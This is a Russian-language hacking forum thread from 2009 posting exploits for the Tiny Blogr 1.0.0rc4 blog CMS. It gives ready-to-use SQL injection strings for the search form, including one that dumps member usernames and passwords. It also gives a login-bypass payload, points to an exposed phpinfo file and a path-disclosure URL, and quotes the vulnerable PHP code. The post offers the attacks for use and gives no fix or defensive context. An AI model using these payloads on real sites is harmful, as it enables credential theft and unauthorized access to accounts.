Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Tiny Blogr 1.0.0rc4 (https://forum.antichat.xyz/showthread.php?t=162517)

Ctacok 10.12.2009 21:54

Tiny Blogr 1.0.0rc4
 
Tiny Blogr 1.0.0rc4

SQL Иньекция:
Нужно:
magic_quotes = off.

/search

В поиск вбить ($_POST['txtKeyword'])
Цитата:

1%' union select 1,2,concat_ws(0x3a,user(),database(),version()),4, 5,6,7,8 --
Уязвимость находиться в файле /modules/search/index.php
PHP код:

foreach ($_POST['txtAv'] as $sitem) {
         switch (
$sitem) {
             case 
"blogitem":
                     
$obblog=new Blog();
                     
$obblogitem=new BlogItem();
                     
$obblogitemarr=$obblogitem->Find("bitTitle LIKE '%".$_POST['txtKeyword']."%' OR bitBody LIKE '%".$_POST['txtKeyword']."%' ORDER BY bitId DESC");
                     foreach (
$obblogitemarr as $bbitem) {
                         
$obblog->Load("blgId='".$bbitem->blgid."' ");
                         
$title=$bbitem->bittitle;
                         
$link=$cfg_url."/blog/".$obblog->blgshortcut."/view/".$bbitem->bitid;
                         
array_push($result,array("title"=>$title,"link"=>$link));
                     }
                 break; 

Auth ByPass

/login

Нужно:
magic_quotes = off

В поле username ($_POST['txtUsername']):
Цитата:

1' or 1=1/*
В password : blablabla

Уязвимость находиться в файле /modules/login/index.php
PHP код:

    if ($_POST['ac']=="login") {
        if (
$_SESSION['captcha']==$_POST['txtVerify']) {
            
// authentication
            
if ($obeport->getAuthenticaion($_POST['txtUsername'],$_POST['txtPassword'])) {
                
$obeport->showMessage(2,_PORT_LOGEDIN);
                
$obeport->goPageDelay("blog/".$_POST['txtUsername'],3);
            } else {
                
$obeport->showMessage(1,_PORT_CANNOT_LOGIN);
                
$obeport->goPageDelay("login",3);
            }
        } else {
            
$obeport->showMessage(1,_PORT_CAPTCHA_ERROR);
            
$obeport->goPageDelay("login",3);
        }
    } else { 

(c) Ctacok, special for Antichat.ru

Ctacok 10.12.2009 22:02

Сформированный запрос:
Цитата:

1%' union select 1,2,concat_ws(0x3a,memUsername,memPassword),4,5,6, 7,8 from tbl_epo_member--
Так же в комплекте со скриптом идёт файл info.php, с содержанием <? phpinfo() ?>, ну вы понеле.
Так же раскрытие путей ( :) ):
/modules/tag/

Fatal error: Class 'Tag' not found in Z:\home\****\www\modules\tag\index.php on line 8


Время: 20:59